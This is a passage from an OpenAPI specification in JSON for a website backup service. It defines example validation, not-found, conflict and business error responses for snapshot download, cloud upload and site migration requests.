"SiteSnapshotsUnprocessableResponse": { "description": "Snapshots could not be returned for this site.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "backup_disabled": { "summary": "Backups are not enabled", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Backup is disabled." } } }, "plan_upgrade_required": { "summary": "Backups are not available on the current plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support Backups." } ] } } }, "site_under_maintenance": { "summary": "Site is temporarily unavailable", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Our servers are under maintenance for this site. Please retry after some time." } } } } } } }, "ShowSiteSnapshotNotFoundResponse": { "description": "The site or snapshot could not be found.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "examples": { "site_not_found": { "summary": "Site does not exist or is not available to you", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } }, "snapshot_not_found": { "summary": "Snapshot does not exist for this site", "value": { "error": { "status": 404, "code": "not_found", "message": "Snapshot not found" } } } } } } }, "SiteBackupDownloadInvalidRequestResponse": { "description": "The `download` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_download": { "summary": "Missing request wrapper", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "download", "message": "Can't be blank" } ] } } }, "invalid_download_type": { "summary": "Download wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "download", "message": "Must be an object." } ] } } }, "missing_scope": { "summary": "Missing scope wrapper", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "download.scope", "message": "Can't be blank" } ] } } }, "invalid_scope_type": { "summary": "Scope wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "download.scope", "message": "Must be an object." } ] } } }, "missing_scope_selection": { "summary": "Files or database must be selected", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "download.scope", "message": "At least one of include_files or include_database must be true" } ] } } }, "invalid_include_files": { "summary": "Include files flag must be boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "download.scope.include_files", "message": "Must be a boolean" } ] } } }, "invalid_include_database": { "summary": "Include database flag must be boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "download.scope.include_database", "message": "Must be a boolean" } ] } } }, "invalid_paths_type": { "summary": "Paths must be an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "download.scope.paths", "message": "Must be an array" } ] } } }, "invalid_paths_item_type": { "summary": "Paths must contain only strings", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "download.scope.paths", "message": "Must contain only strings" } ] } } }, "empty_paths": { "summary": "Paths cannot be empty when sent", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "download.scope.paths", "message": "Can't be blank" } ] } } }, "paths_without_files": { "summary": "Paths require file scope", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "download.scope.paths", "message": "Must not be sent unless matching include flag is true" } ] } } }, "invalid_tables_type": { "summary": "Tables must be an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "download.scope.tables", "message": "Must be an array" } ] } } }, "invalid_tables_item_type": { "summary": "Tables must contain only strings", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "download.scope.tables", "message": "Must contain only strings" } ] } } }, "empty_tables": { "summary": "Tables cannot be empty when sent", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "download.scope.tables", "message": "Can't be blank" } ] } } }, "tables_without_database": { "summary": "Tables require database scope", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "download.scope.tables", "message": "Must not be sent unless matching include flag is true" } ] } } }, "invalid_real_time_events_type": { "summary": "Real-time events must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "download.options.real_time_events", "message": "Must be an object" } ] } } }, "invalid_real_time_events_enabled": { "summary": "Real-time event enabled flag must be boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "download.options.real_time_events.enabled", "message": "Must be a boolean" } ] } } }, "missing_until": { "summary": "Real-time cutoff is required when enabled", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "download.options.real_time_events.until", "message": "Can't be blank" } ] } } }, "invalid_until": { "summary": "Real-time cutoff must be ISO 8601", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "download.options.real_time_events.until", "message": "Must be a valid ISO 8601 timestamp" } ] } } } } } } }, "SiteBackupDownloadNotFoundResponse": { "description": "The site or snapshot could not be found or is not available to you.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "examples": { "site_not_found": { "summary": "Site does not exist or is not available to you", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } }, "snapshot_not_found": { "summary": "Snapshot does not exist or is not available to you", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } } } } } }, "SiteBackupDownloadConflictResponse": { "description": "Another backup download is already in progress for this site.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SiteBackupOperationConflictError" }, "example": { "error": { "status": 409, "code": "conflict", "message": "Conflict", "details": [ { "code": "already_in_progress", "message": "Download already in progress", "task_id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a" } ] } } } } }, "SiteBackupDownloadBusinessResponse": { "description": "The backup download could not be started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_upgrade_required": { "summary": "Backups are not available on the current plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support Backups." } ] } } }, "resource_not_ready": { "summary": "Snapshot is not ready", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_ready", "param": "snapshot_id", "message": "Snapshot is not ready." } ] } } }, "invalid_snapshot": { "summary": "Snapshot cannot be used for download", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "snapshot_id", "message": "Snapshot is invalid." } ] } } }, "operation_failed": { "summary": "Download task could not be started", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "param": "base", "message": "Download could not be started." } ] } } }, "site_under_maintenance": { "summary": "Site is temporarily unavailable", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Our servers are under maintenance for this site. Please retry after some time." } } } } } } }, "SiteBackupUploadInvalidRequestResponse": { "description": "The `upload` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_upload": { "summary": "Missing request wrapper", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "upload", "message": "Can't be blank" } ] } } }, "invalid_upload_type": { "summary": "Upload wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "upload", "message": "Must be an object." } ] } } }, "missing_destination": { "summary": "Missing destination wrapper", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "upload.destination", "message": "Can't be blank" } ] } } }, "invalid_destination_type": { "summary": "Destination wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "upload.destination", "message": "Must be an object." } ] } } }, "missing_destination_provider": { "summary": "Destination provider is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "upload.destination.provider", "message": "Can't be blank" } ] } } }, "invalid_destination_provider_type": { "summary": "Destination provider must be a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "upload.destination.provider", "message": "Must be a string" } ] } } }, "unsupported_destination_provider": { "summary": "Destination provider is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "upload.destination.provider", "message": "Provider is not supported" } ] } } }, "dropbox_destination_id": { "summary": "Dropbox does not accept destination id", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "upload.destination.id", "message": "Must not be sent for Dropbox" } ] } } }, "google_drive_destination_id": { "summary": "Google Drive requires destination id", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "upload.destination.id", "message": "Must be sent for Google Drive" } ] } } }, "invalid_google_drive_destination_id_type": { "summary": "Google Drive destination id must be a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "upload.destination.id", "message": "Must be a string" } ] } } }, "missing_scope": { "summary": "Missing scope wrapper", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "upload.scope", "message": "Can't be blank" } ] } } }, "invalid_scope_type": { "summary": "Scope wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "upload.scope", "message": "Must be an object." } ] } } }, "missing_scope_selection": { "summary": "Files or database must be selected", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "upload.scope", "message": "At least one of include_files or include_database must be true" } ] } } }, "invalid_include_files": { "summary": "Include files flag must be boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "upload.scope.include_files", "message": "Must be a boolean" } ] } } }, "invalid_include_database": { "summary": "Include database flag must be boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "upload.scope.include_database", "message": "Must be a boolean" } ] } } }, "invalid_paths_type": { "summary": "Paths must be an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "upload.scope.paths", "message": "Must be an array" } ] } } }, "invalid_paths_item_type": { "summary": "Paths must contain only strings", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "upload.scope.paths", "message": "Must contain only strings" } ] } } }, "empty_paths": { "summary": "Paths cannot be empty when sent", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "upload.scope.paths", "message": "Can't be blank" } ] } } }, "paths_without_files": { "summary": "Paths require file scope", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "upload.scope.paths", "message": "Must not be sent unless matching include flag is true" } ] } } }, "invalid_tables_type": { "summary": "Tables must be an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "upload.scope.tables", "message": "Must be an array" } ] } } }, "invalid_tables_item_type": { "summary": "Tables must contain only strings", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "upload.scope.tables", "message": "Must contain only strings" } ] } } }, "empty_tables": { "summary": "Tables cannot be empty when sent", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "upload.scope.tables", "message": "Can't be blank" } ] } } }, "tables_without_database": { "summary": "Tables require database scope", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "upload.scope.tables", "message": "Must not be sent unless matching include flag is true" } ] } } }, "invalid_options_type": { "summary": "Options wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "upload.options", "message": "Must be an object" } ] } } }, "invalid_real_time_events_type": { "summary": "Real-time events must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "upload.options.real_time_events", "message": "Must be an object" } ] } } }, "invalid_real_time_events_enabled": { "summary": "Real-time events flag must be boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "upload.options.real_time_events.enabled", "message": "Must be a boolean" } ] } } }, "missing_real_time_events_until": { "summary": "Real-time events cutoff is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "upload.options.real_time_events.until", "message": "Can't be blank" } ] } } }, "invalid_real_time_events_until": { "summary": "Real-time events cutoff must be ISO 8601", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "upload.options.real_time_events.until", "message": "Must be a valid ISO 8601 timestamp" } ] } } } } } } }, "SiteBackupUploadNotFoundResponse": { "description": "The site or snapshot could not be found.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "examples": { "site_not_found": { "summary": "Site does not exist or is not available to you", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } }, "snapshot_not_found": { "summary": "Snapshot does not exist for this site", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } } } } } }, "SiteBackupUploadConflictResponse": { "description": "Another backup upload is already in progress for this site.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SiteBackupOperationConflictError" }, "example": { "error": { "status": 409, "code": "conflict", "message": "Conflict", "details": [ { "code": "already_in_progress", "message": "Upload already in progress", "task_id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a" } ] } } } } }, "SiteBackupUploadBusinessResponse": { "description": "The backup upload could not be started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_upgrade_required": { "summary": "Backups are not available on the current plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support Backups." } ] } } }, "dropbox_destination_not_found": { "summary": "Dropbox destination is not available", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_found", "param": "upload.destination.provider", "message": "Backup destination not found." } ] } } }, "destination_not_found": { "summary": "Backup destination is not available", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_found", "param": "upload.destination.id", "message": "Backup destination not found." } ] } } }, "backup_destination_not_connected": { "summary": "Selected destination is not connected", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "backup_destination_not_connected", "param": "upload.destination.id", "message": "Backup destination is not connected." } ] } } }, "backup_destination_unavailable": { "summary": "Selected destination is unavailable", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "backup_destination_unavailable", "param": "upload.destination.id", "message": "Backup destination is unavailable." } ] } } }, "unsupported_provider": { "summary": "Google Drive destinations are unavailable", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "unsupported_provider", "param": "upload.destination.id", "message": "Google Drive backup destinations are currently unavailable." } ] } } }, "provider_backup_destination_unsupported": { "summary": "Selected provider cannot receive uploads", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "backup_destination_unsupported", "param": "upload.destination.provider", "message": "Selected backup destination is not available for upload yet." } ] } } }, "backup_destination_unsupported": { "summary": "Selected provider cannot receive uploads", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "backup_destination_unsupported", "param": "upload.destination.id", "message": "Selected backup destination is not available for upload yet." } ] } } }, "snapshot_not_ready": { "summary": "Snapshot is not ready", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_ready", "param": "snapshot_id", "message": "Snapshot is not ready." } ] } } }, "invalid_snapshot": { "summary": "Snapshot cannot be uploaded", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "snapshot_id", "message": "Snapshot is invalid." } ] } } }, "operation_failed": { "summary": "Upload task could not be started", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "param": "base", "message": "Upload could not be started." } ] } } }, "site_under_maintenance": { "summary": "Site is temporarily unavailable", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Our servers are under maintenance for this site. Please retry after some time." } } } } } } }, "SiteBackupMigrationInvalidRequestResponse": { "description": "The `migration` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_migration": { "summary": "Missing request wrapper", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "migration", "message": "Can't be blank" } ] } } }, "invalid_migration_type": { "summary": "Migration wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration", "message": "Must be an object." } ] } } }, "missing_destination_url": { "summary": "Destination URL is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "migration.destination_url", "message": "Can't be blank" } ] } } }, "invalid_destination_url_type": { "summary": "Destination URL must be a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.destination_url", "message": "Must be a string" } ] } } }, "invalid_destination_url_format": { "summary": "Destination URL must be HTTP or HTTPS", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "migration.destination_url", "message": "Must be an absolute http:// or https:// URL" } ] } } }, "missing_type": { "summary": "Migration type is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "migration.type", "message": "Can't be blank" } ] } } }, "invalid_type_type": { "summary": "Migration type must be a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.type", "message": "Must be a string" } ] } } }, "unsupported_type": { "summary": "Migration type is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "migration.type", "message": "Must be internal or external" } ] } } }, "missing_scope": { "summary": "Missing scope wrapper", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "migration.scope", "message": "Can't be blank" } ] } } }, "invalid_scope_type": { "summary": "Scope wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.scope", "message": "Must be an object." } ] } } }, "missing_scope_selection": { "summary": "Files or database must be selected", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "migration.scope", "message": "At least one of include_files or include_database must be true" } ] } } }, "invalid_include_files": { "summary": "Include files flag must be boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.scope.include_files", "message": "Must be a boolean" } ] } } }, "invalid_include_database": { "summary": "Include database flag must be boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.scope.include_database", "message": "Must be a boolean" } ] } } }, "invalid_paths_type": { "summary": "Paths must be an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.scope.paths", "message": "Must be an array" } ] } } }, "invalid_paths_item_type": { "summary": "Paths must contain only strings", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.scope.paths", "message": "Must contain only strings" } ] } } }, "empty_paths": { "summary": "Paths cannot be empty when sent", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "migration.scope.paths", "message": "Can't be blank" } ] } } }, "paths_without_files": { "summary": "Paths require file scope", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "migration.scope.paths", "message": "Must not be sent unless matching include flag is true" } ] } } }, "invalid_tables_type": { "summary": "Tables must be an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.scope.tables", "message": "Must be an array" } ] } } }, "invalid_tables_item_type": { "summary": "Tables must contain only strings", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.scope.tables", "message": "Must contain only strings" } ] } } }, "empty_tables": { "summary": "Tables cannot be empty when sent", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "migration.scope.tables", "message": "Can't be blank" } ] } } }, "tables_without_database": { "summary": "Tables require database scope", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "migration.scope.tables", "message": "Must not be sent unless matching include flag is true" } ] } } }, "invalid_connection_type": { "summary": "Connection wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.connection", "message": "Must be an object." } ] } } }, "missing_external_connection": { "summary": "External migrations require connection details", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "migration.connection", "message": "Can't be blank" } ] } } }, "missing_connection_method": { "summary": "Connection method is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "migration.connection.method", "message": "Can't be blank" } ] } } }, "invalid_connection_method_type": { "summary": "Connection method must be a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.connection.method", "message": "Must be a string" } ] } } }, "unsupported_connection_method": { "summary": "Connection method is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "migration.connection.method", "message": "Must be http or ftp" } ] } } }, "invalid_internal_connection_method": { "summary": "Internal migrations require HTTP connection method", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "migration.connection.method", "message": "Must be http" } ] } } }, "invalid_external_connection_method": { "summary": "External migrations require FTP connection method", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "migration.connection.method", "message": "Must be ftp" } ] } } }, "missing_credentials": { "summary": "Connection credentials are required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "migration.connection.credentials", "message": "Can't be blank" } ] } } }, "invalid_credentials_type": { "summary": "Connection credentials must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.connection.credentials", "message": "Must be an object" } ] } } }, "internal_server_credentials": { "summary": "Internal migrations do not accept server credentials", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "migration.connection.credentials.server", "message": "Server credentials are not accepted for internal migrations" } ] } } }, "internal_database_credentials": { "summary": "Internal migrations do not accept database credentials", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "migration.connection.credentials.database", "message": "Database credentials are not accepted for internal migrations" } ] } } }, "missing_server_credentials": { "summary": "Server credentials are required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "incomplete_credentials", "param": "migration.connection.credentials.server", "message": "Server credentials are incomplete" } ] } } }, "invalid_server_credentials_type": { "summary": "Server credentials must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.connection.credentials.server", "message": "Must be an object" } ] } } }, "invalid_server_protocol": { "summary": "Server protocol is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "migration.connection.credentials.server.protocol", "message": "Server protocol must be ftp, sftp, or ftps" } ] } } }, "invalid_server_port": { "summary": "Server port must be an integer", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.connection.credentials.server.port", "message": "Must be an integer" } ] } } }, "missing_database_credentials": { "summary": "Database credentials are required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "incomplete_credentials", "param": "migration.connection.credentials.database", "message": "Database credentials are incomplete" } ] } } }, "invalid_database_credentials_type": { "summary": "Database credentials must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.connection.credentials.database", "message": "Must be an object" } ] } } }, "invalid_http_auth_type": { "summary": "HTTP auth credentials must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.connection.credentials.http_auth", "message": "Must be an object" } ] } } }, "incomplete_http_auth": { "summary": "HTTP auth credentials are incomplete", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "incomplete_credentials", "param": "migration.connection.credentials.http_auth", "message": "HTTP auth credentials are incomplete" } ] } } }, "invalid_options_type": { "summary": "Options wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.options", "message": "Must be an object" } ] } } }, "invalid_retain_latest_posts": { "summary": "Retain latest posts flag must be boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.options.retain_latest_posts", "message": "Must be a boolean" } ] } } }, "invalid_retain_latest_woocommerce_orders": { "summary": "Retain latest WooCommerce orders flag must be boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.options.retain_latest_woocommerce_orders", "message": "Must be a boolean" } ] } } }, "invalid_preserve_permissions": { "summary": "Preserve permissions flag must be boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.options.preserve_permissions", "message": "Must be a boolean" } ] } } }, "invalid_options_server_type": { "summary": "Server options must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.options.server", "message": "Must be an object" } ] } } }, "invalid_real_time_events_type": { "summary": "Real-time events must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.options.real_time_events", "message": "Must be an object" } ] } } }, "invalid_real_time_events_enabled": { "summary": "Real-time event enabled flag must be boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "migration.options.real_time_events.enabled", "message": "Must be a boolean" } ] } } }, "missing_real_time_events_until": { "summary": "Real-time cutoff is required when enabled", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "migration.options.real_time_events.until", "message": "Can't be blank" } ] } } }, "invalid_real_time_events_until": { "summary": "Real-time cutoff must be ISO 8601", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "migration.options.real_time_events.until", "message": "Must be a valid ISO 8601 timestamp" } ] } } } } } } }, "SiteBackupMigrationNotFoundResponse": { "description": "The site or snapshot could not be found or is not available to you.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "examples": { "site_not_found": { "summary": "Site does not exist or is not available to you", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } }, "snapshot_not_found": { "summary": "Snapshot does not exist or is not available to you", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } } } } } }, "SiteBackupMigrationConflictResponse": { "description": "Another backup migration is already in progress for this site.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SiteBackupOperationConflictError" }, "example": { "error": { "status": 409, "code": "conflict", "message": "Conflict", "details": [ { "code": "already_in_progress", "message": "Migration already in progress", "task_id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a" } ] } } } } }, "SiteBackupMigrationBusinessResponse": { "description": "The backup migration could not be started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_upgrade_required": { "summary": "Backups are not available on the current plan", "value": { "error": { "status": 